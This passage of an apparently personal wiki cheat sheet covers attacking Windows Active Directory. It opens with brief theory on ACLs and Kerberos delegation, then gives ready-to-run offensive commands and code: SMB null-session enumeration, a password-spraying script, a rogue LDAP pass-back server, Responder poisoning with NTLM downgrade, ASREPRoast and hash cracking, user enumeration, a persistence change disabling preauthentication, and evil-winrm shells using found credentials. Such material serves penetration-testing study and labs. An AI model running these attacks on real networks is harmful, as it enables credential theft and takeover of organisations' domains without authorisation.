* Escalate to domain admin.&lt;br /&gt;
&lt;br /&gt;
[[File:2022-07-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
= Mindmap - Current 2025 =&lt;br /&gt;
&lt;br /&gt;
[https://orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg]&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2022/06/mindmap_ad_dark_classic_2025.03.excalidraw.svg mindmap_ad_dark_classic_2025.03.excalidraw][https://book.ghanim.no/wp-content/uploads/2022/06/mindmap_ad_dark_classic_2025.03.excalidraw.svg Download]&lt;br /&gt;
&lt;br /&gt;
= Mindmap - Nr 2 =&lt;br /&gt;
&lt;br /&gt;
[https://tajdini.net/blog/penetration/active-directory-penetration-mind-map/ https://tajdini.net/blog/penetration/active-directory-penetration-mind-map/]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/01/Active-Directory-Penetration-Manual.pdf Active-Directory-Penetration-Manual][https://blog.aghanim.net/wp-content/uploads/2023/01/Active-Directory-Penetration-Manual.pdf Download]&lt;br /&gt;
&lt;br /&gt;
= Mindmap - Nr 3 =&lt;br /&gt;
&lt;br /&gt;
[https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2023_02.svg orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2023_02.svg]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-11-pentest_ad_dark_2023_02-1.svg|thumb]]&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/11/pentest_ad_dark_2023_02.svg pentest_ad_dark_2023_02][https://book.ghanim.no/wp-content/uploads/2023/11/pentest_ad_dark_2023_02.svg Download]&lt;br /&gt;
&lt;br /&gt;
= Active Directory Theory =&lt;br /&gt;
&lt;br /&gt;
== Object Permission (ACE, DACL, SIDs...) ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Active Directory Securable Object Permissions&#039;&#039;&#039;: Determines who can access an AD object and what they can do with it.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Discretionary Access Control List&#039;&#039;&#039; (DACL): Controls access to an object. Comprises a series of Access Control Entries (ACE).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Access Control Entry&#039;&#039;&#039; (ACE): Each ACE defines whether access to the object is allowed or denied, the entity it applies to, and the type of access.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Order of ACEs:&#039;&#039;&#039; If a deny ACE precedes an allow ACE, the deny takes precedence (first match principle).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Security Descriptor Definition Language&#039;&#039;&#039; (SDDL): A string-delimited method by which ACEs are stored.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ACE String Example&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;(A;;RPWPCCDCLCSWRCWDWOGA;;;S-1-1-0)&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Translation:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;AceType: A = ACCESS_ALLOWED_ACE_TYPE&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Access rights:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
RP = ADS_RIGHT_DS_READ_PROP&lt;br /&gt;
WP = ADS_RIGHT_DS_WRITE_PROP&lt;br /&gt;
CC = ADS_RIGHT_DS_CREATE_CHILD&lt;br /&gt;
DC = ADS_RIGHT_DS_DELETE_CHILD&lt;br /&gt;
LC = ADS_RIGHT_ACTRL_DS_LIST&lt;br /&gt;
SW = ADS_RIGHT_DS_SELF&lt;br /&gt;
RC = READ_CONTROL&lt;br /&gt;
WD = WRITE_DAC&lt;br /&gt;
WO = WRITE_OWNER&lt;br /&gt;
GA = GENERIC_ALL&lt;br /&gt;
Ace Sid: S-1-1-0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;DACL Enumeration via PowerView&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* To Import PowerView in PowerShell:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;PS C:\tools&amp;gt; . .\powerview.ps1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;To Enumerate DACLs of a User (e.g., offsec):&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;PS C:\tools&amp;gt; Get-ObjectAcl -Identity offsec&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;To Resolve SID to a Username or Group:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;PS C:\tools&amp;gt; ConvertFrom-SID &amp;lt;SID&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Automating SID Conversion:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;PS C:\tools&amp;gt; Get-ObjectAcl -Identity offsec -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_}&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Kerberos ==&lt;br /&gt;
&lt;br /&gt;
=== Kerberos Authentication graph ===&lt;br /&gt;
&lt;br /&gt;
[https://narekkay.fr/linkedin/kerberos.gif kerberos.gif (1080×1564) (narekkay.fr)]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-kerberos-1.gif|thumb]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Kerberos: A network authentication protocol that provides strong authentication for client-server applications.&lt;br /&gt;
&lt;br /&gt;
* Main Issue: Kerberos double-hop – The inability to pass authentication from one server to another server on behalf of the user.&lt;br /&gt;
&lt;br /&gt;
=== Microsoft’s Kerberos Delegation Solutions ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;a) Unconstrained Delegation (2000):&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Overview: Allows the service to impersonate a user to any other service.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Pros:&#039;&#039;&#039;&lt;br /&gt;
Simple to implement.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Cons:&#039;&#039;&#039;&lt;br /&gt;
Less secure: Any service can impersonate the user without restriction.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;b) Constrained Delegation (2003)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Overview: Allows the service to impersonate a user, but only to specified services.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Pros:&#039;&#039;&#039;&lt;br /&gt;
More secure than unconstrained as it limits the services to which a user can be impersonated.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Cons:&#039;&#039;&#039;&lt;br /&gt;
Requires service-specific configuration.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;c) Resource-based Constrained Delegation (2012)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Overview: Extension of constrained delegation, allows the target service to define who can delegate to it.&lt;br /&gt;
&lt;br /&gt;
* Requirements: Domain functional level of 2012.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Pros:&#039;&#039;&#039;&lt;br /&gt;
Greater control over which accounts can impersonate users to it.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Cons:&#039;&#039;&#039;&lt;br /&gt;
Requires a newer domain functional level.&lt;br /&gt;
&lt;br /&gt;
=== Exploiting Kerberos Delegation: ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Unconstrained Delegation Exploitation:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Unconstrained delegation is a feature in Kerberos that allows a service to impersonate a user to any other service. While this might be useful in scenarios like multi-tier applications, it can pose significant security risks if misconfigured or abused.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Constrained Delegation Exploitation:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Constrained delegation is a feature in the Kerberos authentication protocol that permits a service to impersonate a user to a specified set of services, as opposed to any service.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resource-based Constrained Delegation Exploitation:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Resource-based constrained delegation (RBCD) is an extension of constrained delegation, providing a more granular level of control over delegation permissions. In RBCD, the permissions for delegation are set on the resources (services) themselves, specifying which services (or servers) are allowed to impersonate users to them.&lt;br /&gt;
&lt;br /&gt;
=== Difference between ASREProast and Kerberoasting ===&lt;br /&gt;
&lt;br /&gt;
[https://luemmelsec.github.io/Kerberoasting-VS-AS-REP-Roasting/ https://luemmelsec.github.io/Kerberoasting-VS-AS-REP-Roasting/]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;AS_REP Roasting&#039;&#039;&#039; is taking place during the initial authentication procedure within Kerberos. It´s abusing the fact, that for accounts with the option &#039;&#039;&#039;Do not require Kerberos preauthentication&#039;&#039;&#039; set, there is no need to send the (normally required) encrypted timestamp (with the users password hash) at the very beginning. Thus everyone on the network who knows the name of an affected account may ask the &#039;&#039;&#039;KDC&#039;&#039;&#039; to authenticate as that user and in return fetch a &#039;&#039;&#039;AS_REP&#039;&#039;&#039; response which partly is encrypted with the AS_REP roastable account´s password hash. Once obtained, an attacker can try to offline crack the hash and fetch the cleartext credentials.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kerberoasting&#039;&#039;&#039; aims at asking for service tickets related to services on the network where the &#039;&#039;&#039;SPNs&#039;&#039;&#039; are tied to user accounts, rather than computer accounts. The background here is that if a person creates a user he will choose the password most likely according to human standards i.e. a phrase, a word mixed with numbers, etc. If that password is weakly chosen, then it is possible to crack the hash and get the cleartext credentials.&lt;br /&gt;
During the process of asking to access a service on the network, the &#039;&#039;&#039;TGS&#039;&#039;&#039; will send a data package that contains a service ticket which is encrypted with the service-account´s password hash, that again like in the &#039;&#039;&#039;AS_REP roasting&#039;&#039;&#039; attack can be cracked offline.&lt;br /&gt;
&lt;br /&gt;
= Finding valid credentials =&lt;br /&gt;
&lt;br /&gt;
== Pentest network ==&lt;br /&gt;
&lt;br /&gt;
See [https://blog.aghanim.net/?page_id=2041 methodology]&lt;br /&gt;
&lt;br /&gt;
* Try exploit vulnerabilities on open ports&lt;br /&gt;
&lt;br /&gt;
* Try extract credentials from open ports&lt;br /&gt;
&lt;br /&gt;
== Enumerate DNS ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== OSINT and Phishing ==&lt;br /&gt;
&lt;br /&gt;
* Check public forums like [https://stackoverflow.com/ Stack Overflow]&lt;br /&gt;
&lt;br /&gt;
* Check public repo on github&lt;br /&gt;
&lt;br /&gt;
* Breached credentials. (Dehashed, intelx etc)&lt;br /&gt;
&lt;br /&gt;
* Google dorking&lt;br /&gt;
&lt;br /&gt;
== Null and Guest access on SMB services ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
enum4linux -a -u &amp;quot;&amp;quot; -p &amp;quot;&amp;quot;  &amp;amp;&amp;amp; enum4linux -a -u &amp;quot;guest&amp;quot; -p &amp;quot;&amp;quot;&lt;br /&gt;
smbmap -u &amp;quot;&amp;quot; -p &amp;quot;&amp;quot; -P 445 -H  &amp;amp;&amp;amp; smbmap -u &amp;quot;guest&amp;quot; -p &amp;quot;&amp;quot; -P 445 -H&lt;br /&gt;
smbclient -U &#039;%&#039; -L // &amp;amp;&amp;amp; smbclient -U &#039;guest%&#039; -L //&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== NTLM Relay attack ==&lt;br /&gt;
&lt;br /&gt;
NTLM relay is a technique that allows an attacker to intercept and forward NTLM authentication requests between a client and a server. The attacker can use this technique to gain access to the server or perform other actions on behalf of the client. For example, an attacker can use NTLM relay to dump the hashes of all domain users from a domain controller using DCSYNC.&lt;br /&gt;
&lt;br /&gt;
Example: an attacker could use PetitPotam to force a domain controller to authenticate to a malicious server and then relay the NTLM request to another domain controller and perform a DCSync operation, which allows the attacker to dump all the password hashes from Active Directory. This could result in a complete takeover of the Windows domain.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py&lt;br /&gt;
 This module performs the SMB Relay attacks originally discovered by cDc extended to many target protocols (SMB, MSSQL, LDAP, etc).&lt;br /&gt;
   It receives a list of targets and for every connection received it will choose the next target and try to relay the credentials. Also, if specified, it will first to try authenticate against the client connecting to us.&lt;br /&gt;
 It is implemented by invoking a SMB and HTTP Server&lt;br /&gt;
&lt;br /&gt;
https://github.com/CCob/lsarelayx&lt;br /&gt;
lsarelayx is system wide NTLM relay tool designed to relay incoming NTLM based authentication to the host it is running on. lsarelayx will relay any incoming authentication request which includes SMB.&lt;br /&gt;
&lt;br /&gt;
https://github.com/topotam/PetitPotam&lt;br /&gt;
PetitPotam is a technique that can be used to perform NTLM relay attacks against Windows servers, including domain controllers.&lt;br /&gt;
&lt;br /&gt;
https://0xdf.gitlab.io/2019/01/13/getting-net-ntlm-hases-from-windows.html&lt;br /&gt;
Good explanation of NTLM relay.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== NTLM Authenticated Services ==&lt;br /&gt;
&lt;br /&gt;
New Technology LAN Manager (NTLM) is the suite of security protocols used to authenticate users&#039; identities in AD.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
def password_spray(self, password, url):&lt;br /&gt;
    print (&amp;quot;[*] Starting passwords spray attack using the following password: &amp;quot; + password)&lt;br /&gt;
    #Reset valid credential counter&lt;br /&gt;
    count = 0&lt;br /&gt;
    #Iterate through all of the possible usernames&lt;br /&gt;
    for user in self.users:&lt;br /&gt;
        #Make a request to the website and attempt Windows Authentication&lt;br /&gt;
        response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + &amp;quot;\\&amp;quot; + user, password))&lt;br /&gt;
        #Read status code of response to determine if authentication was successful&lt;br /&gt;
        if (response.status_code == self.HTTP_AUTH_SUCCEED_CODE):&lt;br /&gt;
            print (&amp;quot;[+] Valid credential pair found! Username: &amp;quot; + user + &amp;quot; Password: &amp;quot; + password)&lt;br /&gt;
            count += 1&lt;br /&gt;
            continue&lt;br /&gt;
        if (self.verbose):&lt;br /&gt;
            if (response.status_code == self.HTTP_AUTH_FAILED_CODE):&lt;br /&gt;
                print (&amp;quot;[-] Failed login with Username: &amp;quot; + user)&lt;br /&gt;
    print (&amp;quot;[*] Password spray attack completed, &amp;quot; + str(count) + &amp;quot; valid credential pairs found&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python ntlm_passwordspray.py -u  -f  -p  -a&lt;br /&gt;
 - Textfile containing our usernames - &amp;quot;usernames.txt&amp;quot;&lt;br /&gt;
 - Fully qualified domain name associated with the organisation that we are attacking - &amp;quot;za.tryhackme.com&amp;quot;&lt;br /&gt;
 - The password we want to use for our spraying attack - &amp;quot;Changeme123&amp;quot;&lt;br /&gt;
 - The URL of the application that supports Windows Authentication - &amp;quot;http://ntlmauth.za.tryhackme.com&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== LDAP ==&lt;br /&gt;
&lt;br /&gt;
See [https://blog.aghanim.net/?page_id=1809#389_636_3268_3269_-_LDAP cheatsheet LDAP]&lt;br /&gt;
&lt;br /&gt;
LDAP authentication is similar to NTLM authentication. However, with LDAP authentication, the application directly verifies the user&#039;s credentials. The application has a pair of AD credentials that it can use first to query LDAP and then verify the AD user&#039;s credentials.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -n -sV --script &amp;quot;ldap* and not brute&amp;quot; -p 389&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ldapsearch -x -h 192.168.89.122 -b &amp;quot;dc=hutch,dc=offsec&amp;quot; &amp;gt; ldap.searchquery&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== LDAP Pass-back Attack ===&lt;br /&gt;
&lt;br /&gt;
In an LDAP Pass-back attack, we can modify this IP to our IP and then test the LDAP configuration, which will force the device to attempt LDAP authentication to our rogue device.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Setup rogue LDAP server&lt;br /&gt;
sudo apt-get update &amp;amp;&amp;amp; sudo apt-get -y install slapd ldap-utils &amp;amp;&amp;amp; sudo systemctl enable slapd&lt;br /&gt;
# Configure the rogue LDAP server&lt;br /&gt;
sudo dpkg-reconfigure -p low slapd&lt;br /&gt;
# Make rogue LDAP server vulnerable by downgrading the supporten authentication mechanism. Add this to a file called &amp;quot;olcSalSecProps.ldif&amp;quot;:&lt;br /&gt;
#olcSaslSecProps.ldif&lt;br /&gt;
dn: cn=config&lt;br /&gt;
replace: olcSaslSecProps&lt;br /&gt;
olcSaslSecProps: noanonymous,minssf=0,passcred&lt;br /&gt;
&lt;br /&gt;
olcSaslSecProps: Specifies the SASL security properties&lt;br /&gt;
noanonymous: Disables mechanisms that support anonymous login&lt;br /&gt;
minssf: Specifies the minimum acceptable security strength with 0, meaning no protection.&lt;br /&gt;
# Now we can use the ldif file to patch our LDAP server using the following:&lt;br /&gt;
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif &amp;amp;&amp;amp; sudo service slapd restart&lt;br /&gt;
# Verify rogue LDAP servers config&lt;br /&gt;
[kali@kali]$ ldapsearch -H ldap:// -x -LLL -s base -b &amp;quot;&amp;quot; supportedSASLMechanisms&lt;br /&gt;
dn:&lt;br /&gt;
supportedSASLMechanisms: PLAIN&lt;br /&gt;
supportedSASLMechanisms: LOGIN&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Capturing LDAP Credentials. We will have to trigger the authenticaiton to go to our rogue LDAP server.&lt;br /&gt;
sudo tcpdump -SX -i eth0 tcp port 389&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Authentication Relays ==&lt;br /&gt;
&lt;br /&gt;
Responder allows us to perform Man-in-the-Middle attacks by poisoning the responses during NetNTLM authentication, tricking the client into talking to you instead of the actual server they wanted to connect to. On a real LAN, Responder will attempt to poison any  Link-Local Multicast Name Resolution (LLMNR),  NetBIOS Name Servier (NBT-NS), and Web Proxy Auto-Discovery (WPAD) requests that are detected.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/lgandx/Responder&lt;br /&gt;
# Start responder&lt;br /&gt;
sudo responder -I tun0&lt;br /&gt;
# Downgrade NTLM authentication when possible. Allow capture NTLMv1 challenge and response.&lt;br /&gt;
#Remember that in order to crack NTLMv1 you need to set Responder challenge to &amp;quot;1122334455667788&amp;quot;&lt;br /&gt;
responder -I  --lm --disable-ess #Downgrade NTLM authntication if possible and force ESS downgrade&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Microsoft Deployment Toolkit ==&lt;br /&gt;
&lt;br /&gt;
Microsoft Deployment Toolkit (MDT) is a Microsoft service that assists with automating the deployment of Microsoft Operating Systems (OS).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Import-Module .\PowerPXE.ps1&lt;br /&gt;
$BCDFile = &amp;quot;conf.bcd&amp;quot;&lt;br /&gt;
Get-WimFile -bcdFile $BCDFile&lt;br /&gt;
Get-FindCredentials -WimFile pxeboot.wim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
= User enumeration =&lt;br /&gt;
&lt;br /&gt;
When an &#039;&#039;&#039;invalid username is requested&#039;&#039;&#039; the server will respond using the &#039;&#039;&#039;Kerberos error&#039;&#039;&#039; code &#039;&#039;KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt&lt;br /&gt;
nmap -p 88 --script=krb5-enum-users --script-args=&amp;quot;krb5-enum-users.realm=&#039;DOMAIN&#039;&amp;quot;&lt;br /&gt;
Nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm=&#039;&#039;,userdb=/root/Desktop/usernames.txt&lt;br /&gt;
msf&amp;gt; use auxiliary/gather/kerberos_enumusers&lt;br /&gt;
crackmapexec smb dominio.es  -u &#039;&#039; -p &#039;&#039; --users | awk &#039;{print $4}&#039; | uniq&lt;br /&gt;
nxc smb dc01.manager.htb -u anonymous -p &amp;quot;&amp;quot; --rid-brute 10000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Knowing a userame(s) ==&lt;br /&gt;
&lt;br /&gt;
=== ASREPRoast ===&lt;br /&gt;
&lt;br /&gt;
The ASREPRoast attack looks for &#039;&#039;&#039;users without Kerberos pre-authentication required attribute (&#039;&#039;&#039;[https://support.microsoft.com/en-us/help/305144/how-to-use-the-useraccountcontrol-flags-to-manipulate-user-account-pro DONT_REQ_PREAUTH]&#039;&#039;&#039;&#039;&#039;)&#039;&#039;&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/asreproast https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/asreproast]&lt;br /&gt;
&lt;br /&gt;
That means that anyone can send an AS_REQ request to the DC on behalf of any of those users, and receive an AS_REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ENUMERATE VULNERABLE USERS (NEED DOMAIN CREDS)&lt;br /&gt;
Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# REQUEST AS_REP MESSAGE&lt;br /&gt;
# Linux&lt;br /&gt;
# Try all the usernames in usernames.txt&lt;br /&gt;
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast&lt;br /&gt;
# Use domain creds to extract targets and target them&lt;br /&gt;
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast&lt;br /&gt;
# Windows&lt;br /&gt;
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast&lt;br /&gt;
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# Cracking the hashes&lt;br /&gt;
john --wordlist=passwords_kerb.txt hashes.asreproast&lt;br /&gt;
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# PERSISTENCE&lt;br /&gt;
# Force preauth not required for a user where you have GenericAll permissions (or permissions to write properties):&lt;br /&gt;
Set-DomainObject -Identity  -XOR @{useraccountcontrol=4194304} -Verbose&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Password spraying ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/password-spraying https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/password-spraying]&lt;br /&gt;
&lt;br /&gt;
Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames https://github.com/insidetrust/statistically-likely-usernames]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# PASSWORD POLICY&lt;br /&gt;
# Need valid creds&lt;br /&gt;
crackmapexec  -u &#039;user&#039; -p &#039;password&#039; --pass-pol&lt;br /&gt;
enum4linx -u &#039;username&#039; -p &#039;password&#039; -P&lt;br /&gt;
(Get-DomainPolicy).&amp;quot;SystemAccess&amp;quot; #From powerview&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# LOCKOUT CHECK&lt;br /&gt;
# https://github.com/Greenwolf/Spray&lt;br /&gt;
# To prevent lockout it&#039;s best not to try with more than 5/7 passwords per account.&lt;br /&gt;
spray.sh -smb&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# PASSWORD SPRAYING&lt;br /&gt;
crackmapexec smb  -u users.txt -p passwords.txt&lt;br /&gt;
## Successor to crackmapexec&lt;br /&gt;
nxc smb  -u users.txt -p passwords.txt [-H hashes.txt]&lt;br /&gt;
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123&lt;br /&gt;
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman&lt;br /&gt;
# with a list of users&lt;br /&gt;
.\Rubeus.exe brute /users: /passwords: /domain: /outfile:&lt;br /&gt;
# check passwords for all users in current domain&lt;br /&gt;
.\Rubeus.exe brute /passwords: /outfile:&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# Crack hash&lt;br /&gt;
john --wordlist=passwords_kerb.txt hashes.asreproast&lt;br /&gt;
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# Powershell passwordspraying script&lt;br /&gt;
https://github.com/dafthack/MSOLSpray&lt;br /&gt;
Import-Module MSOLSpray.ps1&lt;br /&gt;
Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
= Enumerating Active Directory with valid credentials/session =&lt;br /&gt;
&lt;br /&gt;
== Shell with credentials ==&lt;br /&gt;
&lt;br /&gt;
If you have valid credentials you could try to get a shell.&lt;br /&gt;
&lt;br /&gt;
To get shell with Administrator user and not with NT Authority\system, use WinExec or Evil-Winrm&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CrackMapExec&lt;br /&gt;
# Validate if credentials found is valide, and which protocol you can use to get a shell. {ssh,smb,mssql,winrm,ldap} Notice Pwn3d! with creds enox:california&lt;br /&gt;
crackmapexec winrm 192.168.204.165 -u enox -p california&lt;br /&gt;
WINRM       192.168.204.165 5985   NONE             [+] None\enox:california (Pwn3d!)&lt;br /&gt;
# Can also be used to brute force&lt;br /&gt;
crackmapexec   -u ~/file_containing_usernames -p ~/file_containing_passwords&lt;br /&gt;
crackmapexec   -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes&lt;br /&gt;
&lt;br /&gt;
# SSH - Port 22&lt;br /&gt;
# If SSH is open try to SSH to target&lt;br /&gt;
ssh user@target [-i id_rsa]&lt;br /&gt;
&lt;br /&gt;
# WinRM - Port 5895, 5896&lt;br /&gt;
# If port 5985,5986 is open, try Evil-Winrm&lt;br /&gt;
gem install evil-winrm&lt;br /&gt;
evil-winrm -u Administrator -p &#039;EverybodyWantsToWorkAtP.O.O.&#039;  -i /&lt;br /&gt;
evil-winrm -u Administrator -H &#039;Use_hash_here&#039;  -i /&lt;br /&gt;
